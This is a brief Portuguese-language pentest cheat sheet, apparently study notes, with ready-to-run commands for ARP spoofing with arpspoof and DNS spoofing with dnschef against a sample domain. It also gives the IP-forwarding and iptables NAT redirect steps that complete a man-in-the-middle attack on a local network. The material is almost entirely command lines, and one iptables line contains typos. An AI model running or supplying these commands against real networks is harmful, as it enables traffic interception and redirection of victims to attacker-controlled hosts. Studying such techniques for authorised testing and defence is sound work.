## Spoofing ### Arp Spoofing ``` arpspoof [-i interface] -t target -r host ``` Exemplo: ``` arpspoof -t 192.168.0.120 -r 192.168.0.1 ``` ### DNS Spoofing ``` dnschef --fakeip 192.168.0.106 -fakedomains *.businesscorp.com.br,businesscorp.com.br --port 53 --interface 192.168.0.106 ``` OBS: Habilitar o port forward na maquina: ``` echo 1 > /proc/sys/net/ipv4/ip_forward ``` ``` iptables --flush iptables -t nat -A PREROUTING -i wlan1 -p udp --dport 53 -j DNAT $IP:53 ipatables -t nat -A PREROUTING -p udp -dport 53 -j DNAT --to-destination $IP:53 ``` Depois habilitar o ARP Spoofing. ``` arpspoof -t 192.168.0.120 -r 192.168.0.1 ```